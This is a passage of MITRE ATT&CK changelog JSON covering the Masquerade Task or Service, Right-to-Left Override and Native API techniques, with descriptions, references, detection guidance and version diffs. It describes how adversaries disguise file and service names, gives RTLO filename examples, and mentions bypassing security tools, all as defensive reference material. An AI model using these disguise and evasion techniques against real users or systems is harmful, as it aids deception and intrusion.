"DS0009: Process (Process Creation)", "DS0017: Command (Command Execution)", "DS0022: File (File Creation)", "DS0022: File (File Metadata)", "DS0023: Named Pipe (Named Pipe Metadata)", "DS0029: Network Traffic (Network Traffic Content)", "DS0029: Network Traffic (Network Traffic Flow)", "DS0033: Network Share (Network Share Access)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-10 20:30:07.426000+00:00", "modified": "2021-10-18 13:24:52.618000+00:00", "name": "Masquerade Task or Service", "description": "Adversaries may attempt to manipulate the name of a task or service to make it appear legitimate or benign. Tasks/services executed by the Task Scheduler or systemd will typically be given a name and/or description.(Citation: TechNet Schtasks)(Citation: Systemd Service Units) Windows services will have a service name as well as a display name. Many benign tasks and services exist that have commonly associated names. Adversaries may give tasks or services names that are similar or identical to those of legitimate ones.\n\nTasks or services contain other fields, such as a description, that adversaries may attempt to make appear legitimate.(Citation: Palo Alto Shamoon Nov 2016)(Citation: Fysbis Dr Web Analysis)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/004", "external_id": "T1036.004" }, { "source_name": "TechNet Schtasks", "description": "Microsoft. (n.d.). Schtasks. Retrieved April 28, 2016.", "url": "https://technet.microsoft.com/en-us/library/bb490996.aspx" }, { "source_name": "Systemd Service Units", "description": "Freedesktop.org. (n.d.). systemd.service \u2014 Service unit configuration. Retrieved March 16, 2020.", "url": "https://www.freedesktop.org/software/systemd/man/systemd.service.html" }, { "source_name": "Palo Alto Shamoon Nov 2016", "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.", "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/" }, { "source_name": "Fysbis Dr Web Analysis", "description": "Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.", "url": "https://vms.drweb.com/virus/?i=4276269" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Command: Command Execution", "Service: Service Metadata", "Service: Service Creation", "Scheduled Job: Scheduled Job Metadata", "Scheduled Job: Scheduled Job Modification" ], "x_mitre_detection": "Look for changes to tasks and services that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks or services may show up as outlier processes that have not been seen before when compared against historical data. Monitor processes and command-line arguments for actions that could be taken to create tasks or services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator", "SYSTEM" ], "x_mitre_platforms": [ "Windows", "Linux", "macOS" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 13:24:52.618000+00:00\", \"old_value\": \"2021-04-24 13:24:45.580000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][2]\": \"macOS\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0003: Scheduled Job (Scheduled Job Metadata)", "DS0003: Scheduled Job (Scheduled Job Modification)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Creation)", "DS0019: Service (Service Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-10 19:55:29.385000+00:00", "modified": "2021-10-14 21:01:59.733000+00:00", "name": "Right-to-Left Override", "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1036/002", "external_id": "T1036.002" }, { "source_name": "Infosecinstitute RTLO Technique", "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.", "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/" }, { "source_name": "Trend Micro PLEAD RTLO", "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/" }, { "source_name": "Kaspersky RTLO Cyber Crime", "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.", "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "File: File Metadata" ], "x_mitre_detection": "Detection methods should include looking for common formats of RTLO characters within filenames such as \\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.", "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "Linux", "macOS", "Windows" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-14 21:01:59.733000+00:00\", \"old_value\": \"2020-03-29 20:16:36.316000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\\\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\\n\\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\", \"old_value\": \"Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \\\\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\\\u202Egnp.js will be displayed as photo_high_resj.png.\\n\\nA common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may use the right-to-left override (RTLO or RLO) character (U+202E) as a means of tricking a user into executing what they think is a benign file type but is actually executable code. RTLO is a non-printing character that causes the text that follows it to be displayed in reverse.(Citation: Infosecinstitute RTLO Technique) For example, a Windows screensaver executable named March 25 \\\\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\\\u202Egnp.js will be displayed as photo_high_resj.png.\\n+Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\\\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\\n \\n-A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\\n+Adversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may use the right-to-left override (RTLO or RLO)t1Adversaries may abuse the right-to-left override (RTLO or RL
> character (U+202E) as a means of tricking a user into execu>O) character (U+202E) to disguise a string and/or file name 
>ting what they think is a benign file type but is actually e>to make it appear benign. RTLO is a non-printing Unicode cha
>xecutable code. RTLO is a non-printing character that causes>racter that causes the text that follows it to be displayed 
> the text that follows it to be displayed in reverse.(Citati>in reverse. For example, a Windows screensaver executable na
>on: Infosecinstitute RTLO Technique) For example, a Windows >med <code>March 25 \\u202Excod.scr</code> will display as <co
>screensaver executable named <code>March 25 \\u202Excod.scr</>de>March 25 rcs.docx</code>. A JavaScript file named <code>p
>code> will display as <code>March 25 rcs.docx</code>. A Java>hoto_high_re\\u202Egnp.js</code> will be displayed as <code>p
>Script file named <code>photo_high_re\\u202Egnp.js</code> wil>hoto_high_resj.png</code>.(Citation: Infosecinstitute RTLO T
>l be displayed as <code>photo_high_resj.png</code>.  A commo>echnique)  Adversaries may abuse the RTLO character as a mea
>n use of this technique is with [Spearphishing Attachment](h>ns of tricking a user into executing what they think is a be
>ttps://attack.mitre.org/techniques/T1566/001)/[Malicious Fil>nign file type. A common use of this technique is with [Spea
>e](https://attack.mitre.org/techniques/T1204/002) since it c>rphishing Attachment](https://attack.mitre.org/techniques/T1
>an trick both end users and defenders if they are not aware >566/001)/[Malicious File](https://attack.mitre.org/technique
>of how their tools display and render the RTLO character. Us>s/T1204/002) since it can trick both end users and defenders
>e of the RTLO character has been seen in many targeted intru> if they are not aware of how their tools display and render
>sion attempts and criminal activity.(Citation: Trend Micro P> the RTLO character. Use of the RTLO character has been seen
>LEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be> in many targeted intrusion attempts and criminal activity.(
> used in the Windows Registry as well, where regedit.exe dis>Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO C
>plays the reversed characters but the command line tool reg.>yber Crime) RTLO can be used in the Windows Registry as well
>exe does not by default.>, where regedit.exe displays the reversed characters but the
 > command line tool reg.exe does not by default.
", "changelog_mitigations": { "shared": [], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0022: File (File Metadata)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2017-05-31 21:31:17.472000+00:00", "modified": "2021-10-18 21:24:30.764000+00:00", "name": "Native API", "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1106", "external_id": "T1106" }, { "source_name": "NT API Windows", "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.", "url": "https://undocumented.ntinternals.net/" }, { "source_name": "Linux Kernel API", "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.", "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html" }, { "source_name": "OutFlank System Calls", "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/" }, { "source_name": "CyberBit System Calls", "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.", "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/" }, { "source_name": "MDSec System Calls", "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/" }, { "source_name": "Microsoft CreateProcess", "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.", "url": "http://msdn.microsoft.com/en-us/library/ms682425" }, { "source_name": "GNU Fork", "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.", "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html" }, { "source_name": "Microsoft Win32", "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.", "url": "https://docs.microsoft.com/en-us/windows/win32/api/" }, { "source_name": "LIBC", "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.", "url": "https://man7.org/linux/man-pages//man7/libc.7.html" }, { "source_name": "GLIBC", "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.", "url": "https://www.gnu.org/software/libc/" }, { "source_name": "Microsoft NET", "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.", "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework" }, { "source_name": "Apple Core Services", "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.", "url": "https://developer.apple.com/documentation/coreservices" }, { "source_name": "MACOS Cocoa", "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.", "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1" }, { "source_name": "macOS Foundation", "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.", "url": "https://developer.apple.com/documentation/foundation" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Gordon Long, Box, Inc., @ethicalhax", "Stefan Kanthak" ], "x_mitre_data_sources": [ "Process: OS API Execution", "Module: Module Load" ], "x_mitre_detection": "Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \n\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. ", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "Windows", "macOS", "Linux" ], "x_mitre_remote_support": false, "x_mitre_version": "2.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 21:24:30.764000+00:00\", \"old_value\": \"2020-07-01 16:19:54.646000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\\n\\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n\\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n\\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).\", \"old_value\": \"Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\\n\\nFunctionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n\\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n\\nAdversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.\", \"diff\": \"--- \\n+++ \\n@@ -1,7 +1,7 @@\\n-Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\\n+Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\\n \\n-Functionality provided by native APIs are often also exposed to user-mode applications via interfaces and libraries. For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n+Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries. (Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\\n \\n Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\\n \\n-Adversaries may abuse these native API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces, provide mechanisms to interact with and utilize various components of a victimized system.\\n+Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system. While invoking API functions, adversaries may also attempt to bypass defensive tools (ex: unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001)).\"}, \"root['external_references'][3]['source_name']\": {\"new_value\": \"OutFlank System Calls\", \"old_value\": \"Microsoft CreateProcess\"}, \"root['external_references'][3]['description']\": {\"new_value\": \"de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.\", \"old_value\": \"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.\"}, \"root['external_references'][3]['url']\": {\"new_value\": \"https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/\", \"old_value\": \"http://msdn.microsoft.com/en-us/library/ms682425\"}, \"root['external_references'][4]['source_name']\": {\"new_value\": \"CyberBit System Calls\", \"old_value\": \"GNU Fork\"}, \"root['external_references'][4]['description']\": {\"new_value\": \"Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.\", \"old_value\": \"Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.\"}, \"root['external_references'][4]['url']\": {\"new_value\": \"https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/\", \"old_value\": \"https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html\"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"MDSec System Calls\", \"old_value\": \"Microsoft Win32\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.\", \"old_value\": \"Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\", \"old_value\": \"https://docs.microsoft.com/en-us/windows/win32/api/\"}, \"root['external_references'][6]['source_name']\": {\"new_value\": \"Microsoft CreateProcess\", \"old_value\": \"LIBC\"}, \"root['external_references'][6]['description']\": {\"new_value\": \"Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.\", \"old_value\": \"Kerrisk, M. (2016, December 12). libc(7) \\u2014 Linux manual page. Retrieved June 25, 2020.\"}, \"root['external_references'][6]['url']\": {\"new_value\": \"http://msdn.microsoft.com/en-us/library/ms682425\", \"old_value\": \"https://man7.org/linux/man-pages//man7/libc.7.html\"}, \"root['external_references'][7]['source_name']\": {\"new_value\": \"GNU Fork\", \"old_value\": \"GLIBC\"}, \"root['external_references'][7]['description']\": {\"new_value\": \"Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.\", \"old_value\": \"glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.\"}, \"root['external_references'][7]['url']\": {\"new_value\": \"https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html\", \"old_value\": \"https://www.gnu.org/software/libc/\"}, \"root['external_references'][8]['source_name']\": {\"new_value\": \"Microsoft Win32\", \"old_value\": \"Microsoft NET\"}, \"root['external_references'][8]['description']\": {\"new_value\": \"Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.\", \"old_value\": \"Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.\"}, \"root['external_references'][8]['url']\": {\"new_value\": \"https://docs.microsoft.com/en-us/windows/win32/api/\", \"old_value\": \"https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework\"}, \"root['external_references'][9]['source_name']\": {\"new_value\": \"LIBC\", \"old_value\": \"Apple Core Services\"}, \"root['external_references'][9]['description']\": {\"new_value\": \"Kerrisk, M. (2016, December 12). libc(7) \\u2014 Linux manual page. Retrieved June 25, 2020.\", \"old_value\": \"Apple. (n.d.). Core Services. Retrieved June 25, 2020.\"}, \"root['external_references'][9]['url']\": {\"new_value\": \"https://man7.org/linux/man-pages//man7/libc.7.html\", \"old_value\": \"https://developer.apple.com/documentation/coreservices\"}, \"root['external_references'][10]['source_name']\": {\"new_value\": \"GLIBC\", \"old_value\": \"MACOS Cocoa\"}, \"root['external_references'][10]['description']\": {\"new_value\": \"glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.\", \"old_value\": \"Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.\"}, \"root['external_references'][10]['url']\": {\"new_value\": \"https://www.gnu.org/software/libc/\", \"old_value\": \"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1\"}, \"root['external_references'][11]['source_name']\": {\"new_value\": \"Microsoft NET\", \"old_value\": \"macOS Foundation\"}, \"root['external_references'][11]['description']\": {\"new_value\": \"Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.\", \"old_value\": \"Apple. (n.d.). Foundation. Retrieved July 1, 2020.\"}, \"root['external_references'][11]['url']\": {\"new_value\": \"https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework\", \"old_value\": \"https://developer.apple.com/documentation/foundation\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n\\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). 